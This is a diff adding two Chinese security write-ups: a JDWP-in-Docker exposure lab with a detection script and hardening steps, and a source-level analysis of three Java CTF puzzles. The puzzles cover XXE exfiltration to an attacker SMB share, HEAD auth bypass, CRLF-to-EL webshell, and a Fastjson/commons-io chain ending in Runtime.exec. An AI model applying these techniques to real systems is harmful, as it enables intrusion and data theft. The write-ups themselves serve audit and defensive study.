proc_cmd = try_run(["docker", "exec", cid, "sh", "-c", "tr '\\000' ' ' < /proc/1/cmdline"]) + envs = config.get("Env", []) or [] + + cmd_evidence = proc_cmd if contains_jdwp(proc_cmd) else image_cmd + if contains_jdwp(cmd_evidence): + print(f"[JDWP-CMD] {name} {cid[:12]}") + print(f" {cmd_evidence}") + + for env in envs: + if contains_jdwp(env): + print(f"[JDWP-ENV] {name} {cid[:12]}") + print(f" {env}") + + for container_port, host_ports in ports.items(): + if not host_ports: + continue + container_port_num = container_port.split("/", 1)[0] + for hp in host_ports: + host_ip = hp.get("HostIp", "") + host_port = hp.get("HostPort", "") + if container_port_num in SUSPICIOUS_PORTS or host_port in SUSPICIOUS_PORTS: + bind_scope = "loopback" if host_ip in ("127.0.0.1", "::1") else "non-loopback" + print(f"[DEBUG-PORT] {name} {cid[:12]} {container_port} -> {host_ip}:{host_port} ({bind_scope})") + + +if __name__ == "__main__": + try: + main() + except subprocess.CalledProcessError as exc: + print(f"docker command failed: {exc}", file=sys.stderr) + sys.exit(1) +PY +python3 detect_jdwp_docker.py +``` + +![image.png](https://i.im.ge/QMV424K/p2m-02d149a67a.png) + + + +● `[JDWP-CMD]` 表示命令行或镜像配置中发现 `jdwp`。 +● `[JDWP-ENV]` 表示环境变量值中发现 JDWP 参数。 +● `[DEBUG-PORT]` 表示容器发布了常见调试端口。 +当变量值包含 `jdwp` 或 `dt_socket` 才输出 `[JDWP-ENV]`。 + + +## 七. 项目文件静态排查 + + +除了运行期检查,还应排查仓库中的 Dockerfile、Compose、脚本和部署模板。 + +搜索当前项目目录: + + +```bash +grep -RIn \ + --exclude-dir=.git \ + --exclude-dir=target \ + --exclude-dir=build \ + -E 'jdwp|dt_socket|address=\*:|JAVA_TOOL_OPTIONS|JDK_JAVA_OPTIONS|JAVA_OPTS|5005' \ + . +``` + +![image.png](https://i.im.ge/QMV4sz8/p2m-fb393dd591.png) + + + +docker容器特征: + + +```latex +Dockerfile +Dockerfile.* +docker-compose.yml +compose*.yml +*.sh +*.env +helm/values*.yaml +k8s/*.yaml +systemd unit +CI/CD pipeline variables +``` + +判断方法: + +● 仅出现 `5005` 不一定是 JDWP,但需要继续确认上下文。 +● 出现 `-agentlib:jdwp`、`transport=dt_socket`、`server=y` 应作为高风险线索。 +● 出现 `address=*:5005` 或 `address=0.0.0.0:5005` 表示监听范围不是回环地址。 +● `JAVA_TOOL_OPTIONS` 和 `JDK_JAVA_OPTIONS` 会被 JVM 自动读取,风险不低于显式命令行参数。 + +## 八. Compose 场景 + + +默认服务不携带 JDWP;需要本机调试时使用独立 debug profile,并把宿主机侧调试端口绑定到回环地址。 + +创建不包含 JDWP 的 Dockerfile Dockerfile: + + +```bash +cat > Dockerfile.fixed <<'DOCKER' +FROM eclipse-temurin:21-jdk +WORKDIR /app +COPY src/App.java /app/App.java +RUN javac -g /app/App.java +EXPOSE 8080 +CMD ["java", "App"] +DOCKER +``` + +创建不包含 JDWP 的 Dockerfile: + + +```bash +cat > Dockerfile.debug <<'DOCKER' +FROM eclipse-temurin:21-jdk +WORKDIR /app +COPY src/App.java /app/App.java +RUN javac -g /app/App.java +EXPOSE 8080 5005 +CMD ["java", "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005", "App"] +DOCKER +``` + +创建 Compose 文件: + + +```bash +cat > compose.fixed.yml <<'YAML' +services: + app: + build: + context: . + dockerfile: Dockerfile.fixed + image: jdwp-container-lab:fixed + ports: + - "8080:8080" + + app-debug: + build: + context: . + dockerfile: Dockerfile.debug + image: jdwp-container-lab:debug + profiles: ["debug"] + ports: + - "8080:8080" + - "127.0.0.1:5005:5005" +YAML +``` + +运行无 JDWP 的服务: + + +```bash +docker compose -f compose.fixed.yml down 2>/dev/null || true +docker compose -f compose.fixed.yml up -d --build app +docker compose -f compose.fixed.yml ps +``` + +![image.png](https://i.im.ge/QMV4ds9/p2m-80961c6132.png) + + + +需要本机调试时,先停止普通服务,再显式启用 debug profile,避免两个服务同时占用宿主机 `8080`: + + +```bash +docker compose -f compose.fixed.yml down +docker compose -f compose.fixed.yml --profile debug up -d --build app-debug +docker compose -f compose.fixed.yml ps +``` + +![image.png](https://i.im.ge/QMV4hU4/p2m-85a5358536.png) + + + +`127.0.0.1:5005:5005` 只限制宿主机绑定地址,不改变容器内 JVM 的 `address=*:5005`。 + + +## 九.移除 JDWP 后的验证 + + +创建不包含 JDWP 的 Dockerfile。若前面启动了 Compose 复现环境,先停止它以释放 `5005` 与 `8080`: + + +```bash +docker compose -f compose.unsafe.yml down 2>/dev/null || true +docker rm -f jdwp-lab 2>/dev/null || true +``` + +```bash +cat > Dockerfile.fixed <<'DOCKER' +FROM eclipse-temurin:21-jdk +WORKDIR /app +COPY src/App.java /app/App.java +RUN javac -g /app/App.java +EXPOSE 8080 +CMD ["java", "App"] +DOCKER +``` + +构建并启动: + + +```bash +docker rm -f jdwp-lab-fixed 2>/dev/null || true +docker build -f Dockerfile.fixed -t jdwp-container-lab:fixed . +docker run -d --name jdwp-lab-fixed -p 8081:8080 jdwp-container-lab:fixed +docker logs jdwp-lab-fixed +``` + +验证业务端口仍可访问: + + +```bash +curl -s http://127.0.0.1:8081/ping +``` + +![image.png](https://i.im.ge/QMV4IWY/p2m-2e46f8be36.png) + + + +验证容器没有发布 `5005`: + + +```bash +docker port jdwp-lab-fixed +``` + +![image.png](https://i.im.ge/QMV4DmM/p2m-ba6564e974.png) + + + +验证运行期命令行不包含 JDWP: + + +```bash +docker exec jdwp-lab-fixed sh -c "tr '\000' ' ' < /proc/1/cmdline" +``` + +![image.png](https://i.im.ge/QMV47Oh/p2m-9098bbacf5.png) + + + +验证握手失败。确认旧的不安全容器已经停止后执行: + + +```bash +python3 jdwp_handshake.py 127.0.0.1 5005 +``` + +![image.png](https://i.im.ge/QMV4UoD/p2m-0701bd866a.png) + + + + +## 十. 低权限运行验证 + + +降低容器内 Java 进程权限用于缩小其他入口被滥用后的影响。创建低权限镜像: + + +```bash +cat > Dockerfile.nonroot <<'DOCKER' +FROM eclipse-temurin:21-jdk +WORKDIR /app +RUN groupadd -r -g 10001 appuser && useradd -r -u 10001 -g appuser appuser +COPY src/App.java /app/App.java +RUN javac -g /app/App.java && chown -R appuser:appuser /app +USER appuser +EXPOSE 8080 +CMD ["java", "App"] +DOCKER +``` + +构建并启动: + + +```bash +docker rm -f jdwp-lab-nonroot 2>/dev/null || true +docker build -f Dockerfile.nonroot -t jdwp-container-lab:nonroot . +docker run -d --name jdwp-lab-nonroot \ + --read-only \ + --cap-drop=ALL \ + --security-opt no-new-privileges \ + -p 8082:8080 \ + jdwp-container-lab:nonroot +``` + +验证进程用户: + + +```bash +docker exec jdwp-lab-nonroot id +``` + +![image.png](https://i.im.ge/QMV49sp/p2m-616601f341.png) + + + +验证业务接口: + + +```bash +curl -s http://127.0.0.1:8082/ping +``` + +![image.png](https://i.im.ge/QMV40Bq/p2m-1011a1bccf.png) + + + +验证根文件系统只读: + + +```bash +docker exec jdwp-lab-nonroot sh -c 'touch /app/should_fail' +``` + +![image.png](https://i.im.ge/QMV4iYC/p2m-002e349f2e.png) + + + +这种运行方式不能把已经暴露的 JDWP 变成安全入口,也不能替代删除调试参数。它的作用是让 JVM 进程在其他入口被滥用时更难写入容器文件系统、更难获得额外 Linux capability。 + + +## 十一. 结论 + + +JDWP 暴露不是传统意义上的 Web 漏洞,而是 JVM 调试权限被错误发布到容器外。`server=y,address=*:5005` 让 JVM 监听调试端口,`docker -p 5005:5005` 或平台服务发布让端口离开容器网络,明文 `JDWP-Handshake` 证明协议可达,`jdb` 断点证明业务线程可被挂起,`eval` 创建文件证明连接方能够在目标 JVM 内调用方法。 diff --git a/books/Java-Puzzle-安全审计源码验证报告.md b/books/Java-Puzzle-安全审计源码验证报告.md new file mode 100644 index 0000000..9d23662 --- /dev/null +++ b/books/Java-Puzzle-安全审计源码验证报告.md @@ -0,0 +1,486 @@ +> 基于 [cwkiller/Java-Puzzle](https://github.com/cwkiller/Java-Puzzle) 三道 Java Web 安全谜题,结合 OpenJDK、Apache HttpCore、Apache commons-io 的官方源码,对每条利用结论进行逐行验证与扩展分析。 +> +> **写作目的**:把「单点 trick」沉淀为「可批量复制的审计方法论」。所有结论均附源码位置与版本 diff,可独立复现。 + +--- + +# 目录 + +- [一、谜题总览](#一谜题总览) +- [二、题一 No-FTP-XXE:协议差异是富矿](#二题一-no-ftp-xxe协议差异是富矿) +- [三、题二 Tomcat's Secret Chamber:`(byte)char` 高位截断](#三题二-tomcats-secret-chamberbytechar-高位截断) +- [四、题三 Fastjson Decoder:失败前的副作用](#四题三-fastjson-decoder失败前的副作用) +- [五、跨题方法论沉淀](#五跨题方法论沉淀) +- [六、可执行的审计检查清单](#六可执行的审计检查清单) +- [附录:版本边界与源码索引](#附录版本边界与源码索引) + +--- + +# 一、谜题总览 + +Java-Puzzle 是一个 Java Web 安全谜题(CTF)集合,每题基于真实审计场景设计,包含三个独立挑战: + +| 序号 | 名称 | 难度 | 核心知识点 | 关键版本 | +|------|------|------|-----------|---------| +| 01 | **No-FTP-XXE** | ⭐⭐⭐ | 盲 XXE、协议解析差异、多行文件外带 | dom4j、Spring、Windows、JDK ≥ 8u131 | +| 02 | **Tomcat's Secret Chamber** | ⭐⭐⭐ | Servlet 3.0 `web-fragment` 隐藏配置、HEAD 绕过、不出网 SSRF GetShell | Tomcat 9.0.10、Apache HttpClient < 4.5.10 | +| 03 | **Fastjson Decoder** | ⭐⭐⭐ | Fastjson 反序列化、commons-io 链 NPE 适配、ASCII jar 覆盖 ext | Fastjson 1.2.78、commons-io 2.2、OpenJDK 8u342 | + +本文对每道题做三层分析:**① 题目与官方解 → ② 源码级验证 → ③ 审计/渗透可复用经验**。 + +--- + +# 二、题一 No-FTP-XXE:协议差异是富矿 + +## 2.1 题目与官方解 + +**漏洞代码**(Spring + dom4j): +```java +@PostMapping("/update-config") +public ResponseEntity> updateSystemConfig( + @RequestParam("configXml") String configXml, ...) { + CompletableFuture.runAsync(() -> { // 异步 + try { + SAXReader reader = new SAXReader(); + Document document = reader.read(new StringReader(configXml)); // ★ XXE sink + processConfigDocument(document); + } catch (DocumentException e) { + System.err.println("配置处理错误: " + e.getMessage()); // 异常全吞 + } + }); + ... +} +``` + +**特征**:异步处理 + 所有异常被吞 → 报错 XXE 路线被堵死,只剩 OOB(外带)。 + +**官方解**:目标为 Windows,高版本 JDK(JDK ≥ 8u131)无法用 FTP 外带多行文件,最终用 **file/netdoc 协议构造 UNC 路径,通过 SMB 外带**: + +```xml + + + %dtd; +]> +&send; + + + +``` + +工具链:`xxe-smb-server`(impacket 开匿名 SMB)+ `python3 -m http.server` 放恶意 DTD + `tcpdump -i eth0 port 445 -w smb.pcap` 抓包。 + +## 2.2 源码级验证 + +### 2.2.1 协议清单是可枚举的 + +`URL.getURLStreamHandler`(OpenJDK `java/net/URL.java:1133`)按命名约定 `sun.net.www.protocol.<协议>.Handler` 解析处理器: + +```java +packagePrefixList += "sun.net.www.protocol"; // :1160 +String clsName = packagePrefix + "." + protocol + ".Handler"; // :1171-1172 +``` + +从源码目录看,JDK **内置且仅内置这 7 个协议**: + +``` +file ftp http https jar mailto netdoc +``` + +**审计意义**:拿到一个 JDK/中间件环境,先列出实际存在的 Handler 目录,得到一份确定的「可达协议清单」,再逐个分析过滤策略——而不是盲目试探。 + +### 2.2.2 FTP:修复 commit 的精确位置(8u131,不是 8u162) + +网上流传分界线是 `jdk<8u162`,源码 diff 证明**真正分界是 8u131**。 + +**8u121 `FtpClient.java:520-533`(修复前)**: +```java +private boolean issueCommand(String cmd) throws IOException { // 只声明 IOException + ... + sendServer(cmd + "\r\n"); // ★ 直接发,无换行检查 + return readReply(); +} +``` + +**8u131 `FtpClient.java:520-540`(修复后)**: +```java +private boolean issueCommand(String cmd) throws IOException, + sun.net.ftp.FtpProtocolException { // 新增异常 + ... + if (cmd.indexOf('\n') != -1) { // ★ 新增检查 + sun.net.ftp.FtpProtocolException ex + = new sun.net.ftp.FtpProtocolException("Illegal FTP command"); + ex.initCause(new IllegalArgumentException("Illegal carriage return")); + throw ex; + } + sendServer(cmd + "\r\n"); + return readReply(); +} +``` + +精确 diff:`8u121 → 8u131` 只多了两个改动——签名加 `FtpProtocolException`、新增 6 行 `indexOf('\n')` 检查。`8u131 → 8u202` 完全一致,检查一直保留。所有 FTP 命令(含 user/pass 认证字段)最终都走 `issueCommand`,无一幸免。 + +### 2.2.3 HTTP:双重拦截 + 构造期检查 + +```java +// HttpURLConnection.java:847 — 构造时检查整个 URL +private static URL checkURL(URL u) throws IOException { + if (u != null) { + if (u.toExternalForm().indexOf('\n') > -1) { // 整个 URL 外部形式 + throw new MalformedURLException("Illegal character in URL"); + } + } + return u; +} + +// HttpURLConnection.java:828 — 另一个构造器检查 host +private static String checkHost(String h) throws IOException { + if (h != null) { + if (h.indexOf('\n') > -1) { // host 单独再查 + throw new MalformedURLException("Illegal character in host"); + } + } + return h; +} +``` + +`checkURL` 在构造函数 `super(checkURL(u))`(:857)就调用,**请求还没发,构造 URL 时就抛异常**。writeup 提到的 userinfo(`user:pass@host`)虽允许传入但不自动带 Authorization 头,加上这道构造期检查,HTTP 外带彻底无解。 + +### 2.2.4 mailto:命令字段的 `\n` 拦截 + +mailto 委托给 `sun.net.smtp.SmtpClient`: +```java +// SmtpClient.java:77 — RCPT TO +public void to(String s) throws IOException { + if (s.indexOf('\n') != -1) { // ★ + throw new IOException("Illegal SMTP command", ...); + } + ... + issueCommand("rcpt to: <" + s + ">\r\n", 250); +} + +// SmtpClient.java:123 — MAIL FROM,同样检查 +public void from(String s) throws IOException { + if (s.indexOf('\n') != -1) { // ★ + throw new IOException("Illegal SMTP command", ...); + } + ... +} +``` + +`to()` / `from()` 都拦 `\n`,且 mailto 的 `Handler` 不实现输入(只返回 `MailToURLConnection`),`protocol doesn't support input`,OOB 触发读取时直接报错。 + +### 2.2.5 file / netdoc:无过滤的逃生口 + +```java +// netdoc/Handler.java — openConnection 回退到 file 协议 +if (uc == null) { + try { + ru = new URL("file", "~", file); // ★ 回退到 file + uc = ru.openConnection(); + } ... +} +``` + +`netdoc` 先尝试文档 URL,失败就 `new URL("file",...)`。而 **file 协议处理器没有任何换行检查**,所以 `file://\\attacker\share` 或 `netdoc://\\attacker\share` 构造的 UNC 路径畅通无阻,Windows 上触发 SMB 连接,多行内容进了 SMB 数据包——这就是 SMB 能外带多行的根本原因。 + +### 2.2.6 七协议过滤矩阵(源码验证结果) + +| 协议 | 关键代码位置 | `\n` 是否被拦 | 结论 | +|------|------------|--------------|------| +| **ftp** | `FtpClient#issueCommand` (8u131+:532) | ✅ 拦 | JDK≥8u131 无法外带多行 | +| **http/https** | `HttpURLConnection#checkURL` (8u202:849) | ✅ 拦 | 整个 URI 含 `\n` 直接 MalformedURLException | +| **http host** | `HttpURLConnection#checkHost` (8u202:830) | ✅ 拦 | host 部分含 `\n` 也拦 | +| **mailto** | `SmtpClient#to`(78) / `#from`(124) | ✅ 拦 | RCPT TO / MAIL FROM 都判 `\n` | +| **jar** | 委托给 http | ✅ 拦 | 等同 http | +| **file** | 无 `\n` 过滤 | ❌ 不拦 | **唯一突破口** | +| **netdoc** | `Handler#openConnection` 回退到 `file` | ❌ 不拦 | **另一突破口** | + +## 2.3 审计/渗透可复用经验 + +1. **DOM4J 的 `SAXReader` 是高频 XXE 点**。审计全文搜 `SAXReader`、`DocumentBuilder`、`XMLInputFactory`、`Unmarshaller`、`Transformer`,确认是否做了 `FEATURE_DISALLOW_DOCTYPE_DECL` 等加固。 +2. **异步 + 异常全吞 ≠ 安全**。报错 XXE 被堵死,但 OOB 依然成立。不要因为「异常被吞了」就放行 XXE。 +3. **判断 OS 看「外带服务有没有收到请求」**:请求 `/etc/passwd` 收不到回连,立刻怀疑 Windows。 +4. **协议安全检查是分散的、非对称的**。JDK 把 `\n` 拦截做在每个处理器自己的代码里,而不是统一网络层。看到一个协议有过滤,**绝不能推断其他协议也有**,必须逐个验证。 +5. **版本边界用源码 diff 确认**,不能信二手说法(8u131 ≠ 8u162)。 + +## 2.4 实战坑点 + +1. **Win11 安全策略不允许访问匿名 SMB**,只发认证请求不发 `Tree Connect Request`,需 `map to guest = Bad User`。 +2. **家宽到云服务器 445 出站被封**,换云厂商没用,是出口侧被封。 +3. **`Tree Connect Request` 首字符不能是 `;`**:绕过用 `file:////ip/a%file;` 前面加字符。 + +--- + +# 三、题二 Tomcat's Secret Chamber:`(byte)char` 高位截断 + +## 3.1 题目与官方解 + +本题分两部分:**权限绕过** + **不出网 SSRF GetShell**。 + +### 第一部分:隐藏配置 + HEAD 绕过 + +访问 `/admin/getimg.jsp` 返回 403,但 `web.xml` 为空。配置藏在 **JAR 包的 `web-fragment.xml`** 里: +``` +WEB-INF/lib/ant-apache-xalan2.jar!/META-INF/web-fragment.xml +``` +```xml + + + /admin/* + GET + POST + + + +``` + +**绕过**:用 `HEAD` 方法。JSP 编译后继承 `HttpJspBase`,`HttpServlet#service` 对 HEAD 的处理是「调用 `doGet` + 包 `NoBodyResponse`(吞响应体)」。所以 **`HEAD /admin/getimg.jsp` 绕过权限**,副作用(文件写入/SSRF)照样执行。 + +### 第二部分:不出网 SSRF 写 shell + +`getimg.jsp` 用 Apache HttpClient 请求 `url` 参数,响应体写入 `/img/<最后一个斜杠后的内容>`,后缀无限制、只过滤 `..`。需要让 Tomcat 自己返回含 JSP 代码的响应: + +1. HTTP 头值部分可触发 Tomcat 错误回显。 +2. **Apache HttpClient < 4.5.10 有 CRLF 注入**:`\n` 被防御,但 Unicode `\u560a`(URL 编码 `%E5%98%8A`)能绕过。 +3. CRLF 注入到响应头,注入 **EL 表达式** `${param.getClass().forName(...)...eval(param.cmd)}` 构造 webshell。 +4. 写入文件,ScriptEngine 落地内存马。 + +## 3.2 源码级验证:`(byte)char` 截断的完整调用链 + +writeup 说修复在 `ByteArrayBuffer`,源码印证漏洞点就是 `append(char[])` 里的一行强转。 + +**漏洞代码(HttpCore 4.4.11 `ByteArrayBuffer.java:138-140`)**: +```java +for (int i1 = off, i2 = oldlen; i2 < newlen; i1++, i2++) { + this.buffer[i2] = (byte) b[i1]; // ★ char 强转 byte,丢弃高8位 +} +``` + +**完整调用链**(writeup 没展开,源码补全): +``` +AbstractMessageWriter.write(message) // 序列化整个 HTTP 消息 + ├─ writeHeadLine(message) // 写请求行 + └─ for each header: + sessionBuffer.writeLine( // AbstractMessageWriter:111 + lineFormatter.formatHeader(lineBuf, header)) // 格式化 "Name: Value" + │ + ▼ +SessionOutputBufferImpl.writeLine(CharArrayBuffer) // :232 + └─ this.buffer.append(charbuffer, off, chunk) // :243 char[] → byte 缓冲 + │ + ▼ +ByteArrayBuffer.append(char[] b, int off, int len) // :122 + └─ this.buffer[i2] = (byte) b[i1]; // :139 ★ 截断发生处 + │ 之后 writeLine(CRLF) 追加 \r\n (:255) + ▼ + 网络发出含注入换行的请求头 +``` + +`\u560a` 的低 8 位正是 `0x0a`,高 8 位 `0x56` 被截断丢弃 → 变成 `\u000a`(`\n`)。推论 `\uxx0a`(xx 任意)都成立。 + +**修复 commit(HttpCore 4.4.12,client 4.5.10 引入)**: +```java +// ByteArrayBuffer.java (4.4.12) 第 139-146 行 +for (int i1 = off, i2 = oldlen; i2 < newlen; i1++, i2++) { + if ((b[i1] >= 0x20 && b[i1] <= 0x7E) || // 可见 ASCII + (b[i1] >= 0xA0 && b[i1] <= 0xFF)) { // 可见 ISO-8859-1 + this.buffer[i2] = (byte) b[i1]; + } else { + this.buffer[i2] = '?'; // ★ 超范围一律替换为 ? + } +} +``` + +`0x0a` 不在 `[0x20,0x7E]∪[0xA0,0xFF]`,任何换行字符被替换成 `?`,CRLF 注入堵死。修复**只改了 `char` 来源路径**,没动 `append(byte[])` 和 `append(int)`(那两个本来就是 byte),定位精准。 + +## 3.3 审计/渗透可复用经验 + +1. **`web.xml` 为空不代表没有安全配置**。Servlet 3.0 的 `web-fragment.xml` 允许 JAR 在 `META-INF` 定义 security-constraint。审计时**必须解压所有 JAR 搜 `web-fragment.xml`、``、``**。 +2. **`` 枚举是致命疏漏**:没列的方法默认放行。看到枚举方法立刻检查 JSP/Servlet 是否支持其他方法(HEAD/OPTIONS/PUT/DELETE)。 +3. **HEAD 绕过的通用性**:任何只重写 `doGet`/`doPost` 的 Servlet 都能用 HEAD/TRACE 访问。`HttpServlet#service` 对 HEAD 是「调 doGet + NoBodyResponse 吞响应体」。 +4. **`(byte)charValue` 是可扫描的漏洞指纹**。grep 全量搜 `\(byte\)\s*\w+\[` 强转模式,出现在「网络/序列化/编码转换」路径上的高危。**正确修复是白名单(只放行可见字符),不是黑名单(拦 `\r\n`)**——黑名单会漏掉 `\u560a` 编码绕过。 +5. **SSRF 文件下载必须限白名单后缀**。本题 `fileName.indexOf("..")` 只过滤目录穿越,不限后缀导致写 jsp。 + +--- + +# 四、题三 Fastjson Decoder:失败前的副作用 + +## 4.1 题目与官方解 + +Fastjson 1.2.78 + commons-io 2.2。公开的 commons-io 链(`WriterOutputStream`)在 Docker/OpenJDK 环境因 `decoder` 参数为 null 报 NPE。但 fastjson 反序列化是**从内层到外层**依次构造,外层 `LockableFileWriter` 在 `WriterOutputStream` 之前处理——**副作用(建带锁空文件)依然发生**。 + +**适配 NPE 的关键 trick**: +```json +"decoder":{"@type":"com.alibaba.fastjson.util.UTF8Decoder"} +``` +用 Fastjson 自带的 `UTF8Decoder` 填充原本为 null 的 `decoder` 字段,绕过 NPE。 + +**落地链**: +1. 生成纯 ASCII jar(c0ny1 脚本,padding 让 zip 各字段落在 ASCII 范围)。 +2. 覆盖 `$JRE/lib/ext/dnsns.jar`(`-verbose:class` 查未加载的 ext jar)。 +3. `@type` 指向 `sun.net.spi.nameservice.dns.DNSNameServiceDescriptor`,其构造函数执行 `Runtime.exec(message)`。 + +## 4.2 源码级验证 + +### 4.2.1 NPE 根因:构造函数选择决定成败 + +```java +// WriterOutputStream.java +private final CharsetDecoder decoder; // :77 — final,必须构造时赋值 + +// 构造函数 A:直接接收 decoder (4参, :120) +public WriterOutputStream(Writer writer, CharsetDecoder decoder, int bufferSize, ...) { + this.decoder = decoder; // :122 — 用外部传入的 decoder +} + +// 构造函数 C:用 Charset (4参, :139) — 内部 newDecoder,decoder 非空 +public WriterOutputStream(Writer writer, Charset charset, int bufferSize, ...) { + this(writer, charset.newDecoder()..., ...); // :140-141 → 转调 A +} + +// 构造函数 B:用 charsetName (4参, :173) → 转调 C → 转调 A,decoder 非空 +``` + +**NPE 真正原因**:Fastjson 在不同 JDK 发行版下选中的构造函数不同。 +- **Mac IDEA**:选中 `(Writer, String charsetName, ...)`(:173)或 `(Writer, Charset, ...)`(:139),内部 `newDecoder()` 非 null → 不报 NPE。 +- **Docker/OpenJDK**:选中 `(Writer, CharsetDecoder, ...)`(:120),payload 未显式给 `decoder` → `decoder = null` → `processInput()`(:280)调 `this.decoder.decode(...)` 触发 NPE。 + +writeup 的 `"decoder":{"@type":"...UTF8Decoder"}` 就是**强行给构造函数 A 注入非 null decoder**,源码完美解释其有效性。 + +### 4.2.2 副作用时序(题三最核心的审计点) + +`LockableFileWriter` 构造函数(:158-184)的副作用时序: +``` +new LockableFileWriter(file, encoding, append=false, lockDir) + ├─ :164 FileUtils.forceMkdir(parent) ← 副作用①:创建父目录 + ├─ :175 FileUtils.forceMkdir(lockDirFile) ← 副作用②:创建锁目录 + ├─ :180 createLock() + │ └─ :212 lockFile.createNewFile() ← 副作用③:创建 .lck 锁文件 + │ └─ :216 lockFile.deleteOnExit() + └─ :183 initWriter(file, encoding, append) + └─ :238 new FileOutputStream(file, append=false) + ← 副作用④:创建/截断目标文件(append=false 截断为 0 字节) +``` + +**关键**:外层 `WriterOutputStream` 在内层 `LockableFileWriter` 实例化**之后**才创建,而 Fastjson 从内层到外层依次构造。即使外层后续抛 NPE,**副作用 ①-④ 已全部发生**——目标文件已截断为空、锁文件已建。这就是「还是创建一个带锁的空文件」的源码级根因。 + +## 4.3 审计/渗透可复用经验 + +1. **失败 ≠ 无害:追踪构造函数里、抛异常前的副作用**。逐行列出「在第一个可能抛异常的语句前,已改了哪些外部状态」(建文件、建目录、建锁、写日志、发网络请求)。 +2. **构造函数歧义是反序列化漏洞的放大器**。`WriterOutputStream` 有 7 个构造函数,3 个参数族对 null 容忍度不同。**审计反序列化 sink 时,穷举所有构造函数,画「每个构造函数对每个 final 字段的赋值来源」**。 +3. **环境差异归因到具体代码路径分歧**,不要停在「JDK 发行版不同」。本题真正分歧是「Fastjson 选中的构造函数不同」。 +4. **公开链报 NPE 别判死刑**:看「报错之外副作用是否仍发生」。 +5. **ASCII jar + 覆盖未加载 ext jar** 是 Fastjson 文件写 getshell 的通用落地手法,`-verbose:class` 是审计工具。 + +--- + +# 五、跨题方法论沉淀 + +三道题在源码层面验证出**三条可复用的审计规则**,都可机械化执行(grep 强转、grep 构造函数、画副作用时序): + +| 规则 | 题一(协议) | 题二(类型截断) | 题三(构造函数歧义) | +|------|-----------|---------------|-------------------| +| **过滤是分散的、逐实现做的,不能跨实现推断** | ftp/http/mailto 各自拦 `\n`,file/netdoc 不拦 | `append(byte[])` 不过滤,`append(char[])` 才截断——同一类两个方法策略不同 | 7 个构造函数,只有接 `CharsetDecoder` 的那个会让 decoder 为 null | +| **版本边界靠 diff 确认,不能信二手说法** | 8u131 不是 8u162 | httpcore 4.4.12 / client 4.5.10 | commons-io 2.2 此构造函数族一直存在 | +| **关注失败前的副作用,而非失败本身** | 命令被拦 = 外带失败,无副作用残留 | 字符被替换为 `?` = 注入失败,无副作用 | **NPE 抛在外层,内层文件副作用已完成** ← 最典型 | + +## 通用分析方法 + +1. **拿到代码先排异常处理路径**:异常被吞(题一)、`web.xml` 为空(题二)、公开链报 NPE(题三),都不是终点。 +2. **协议/类型/构造函数差异是富矿**:每种实现的处理都不同,逐个验证。 +3. **Java 类型强转是漏洞模式**:`(byte)char` 高位截断(题二)、`indexOf(10)` 单字符判断(题一)。 +4. **隐藏配置的排查**:解压所有 JAR 扫 `META-INF/`。 +5. **HTTP 方法完整性**:`security-constraint` 的 ``、Servlet 的 `doGet/doPost`、JSP 的方法支持——只要没覆盖全集就可能绕过。 +6. **环境一致性**:本地 IDE 与 Docker 表现不同,优先怀疑 JDK 发行版差异,在目标同构环境复现。 + +--- + +# 六、可执行的审计检查清单 + +## XXE +- [ ] 全文搜 `SAXReader` / `DocumentBuilder` / `XMLInputFactory` / `Unmarshaller` / `Transformer`,确认 doctype 禁用。 +- [ ] 异步/异常吞掉的 XML 解析点,验证 OOB(外带)是否成立。 +- [ ] 列出目标 JDK 的可达协议清单(`sun.net.www.protocol.*`),逐个评估外带面。 +- [ ] 确认 JDK 版本,**用源码 diff 而非二手文档**判断 FTP 外带分界(8u131)。 + +## 权限控制 +- [ ] 解压所有 JAR,搜 `web-fragment.xml` / `web-fragment_*.xsd` / ``。 +- [ ] 检查 `` 是否枚举了全集;未列的方法默认放行。 +- [ ] 对每个受保护资源测试 HEAD / OPTIONS / TRACE / PUT / DELETE。 +- [ ] Servlet 只重写 `doGet`/`doPost` 的,验证 HEAD 是否能触发副作用。 + +## 类型截断 / 编码 +- [ ] grep `\(byte\)\s*\w+\[` 强转模式,标注网络/序列化路径上的高危点。 +- [ ] HTTP 客户端版本核对(Apache HttpClient < 4.5.10 存在 CRLF 注入)。 +- [ ] 写文件功能检查后缀白名单,不只过滤 `..`。 + +## 反序列化 +- [ ] 反序列化 sink 目标类穷举构造函数,画 final 字段赋值来源表。 +- [ ] 画构造函数副作用时序(抛异常前已改的外部状态)。 +- [ ] 公开链报错时,验证「失败前的副作用是否仍发生」。 +- [ ] 文件写 getshell:确认目标 JDK 版本(ext jar 可加载性)、`-verbose:class` 列未加载 jar。 + +--- + +# 附录:版本边界与源码索引 + +## A.1 版本边界速查 + +| 组件 | 漏洞 | 修复版本 | 真实分界(源码验证) | +|------|------|---------|-------------------| +| OpenJDK 8 | FTP 多行外带 | 8u131 | `FtpClient#issueCommand` 新增 `indexOf('\n')` 检查 | +| OpenJDK 8 | HTTP URI `\n` | 早期版本起 | `HttpURLConnection#checkURL` 构造期检查 | +| Apache HttpCore | `(byte)char` CRLF 注入 | **4.4.12** | `ByteArrayBuffer#append(char[])` 白名单过滤 | +| Apache HttpClient | 同上(引入 httpcore) | **4.5.10** | 升级 httpcore 4.4.11 → 4.4.12 | +| commons-io 2.2 | `WriterOutputStream` decoder null | 未单独修(利用链适配) | 构造函数族一直存在 | +| Fastjson | 1.2.78 commons-io 链 | 需手动适配 decoder | `UTF8Decoder` 填充绕过 NPE | + +## A.2 关键源码文件索引 + +**题一(协议差异):** +| 文件 | 仓库 / Tag | 关键行 | +|------|-----------|--------| +| `sun/net/ftp/impl/FtpClient.java` | openjdk/jdk8u (8u121 / 8u131 / 8u202) | 8u131:532 | +| `sun/net/www/protocol/http/HttpURLConnection.java` | openjdk/jdk8u jdk8u202-b08 | checkURL:849, checkHost:830 | +| `sun/net/smtp/SmtpClient.java` | openjdk/jdk8u jdk8u202-b08 | to:78, from:124 | +| `sun/net/www/protocol/netdoc/Handler.java` | openjdk/jdk8u jdk8u202-b08 | openConnection 回退 file | +| `java/net/URL.java` | openjdk/jdk8u jdk8u202-b08 | getURLStreamHandler:1133 | + +**题二(类型截断):** +| 文件 | 仓库 / Tag | 关键行 | +|------|-----------|--------| +| `org/apache/http/util/ByteArrayBuffer.java` | apache/httpcomponents-core rel/v4.4.11 vs 4.4.12 | append(char[]):139 | +| `org/apache/http/impl/io/AbstractMessageWriter.java` | apache/httpcomponents-core rel/v4.4.11 | write():106-116 | +| `org/apache/http/impl/io/SessionOutputBufferImpl.java` 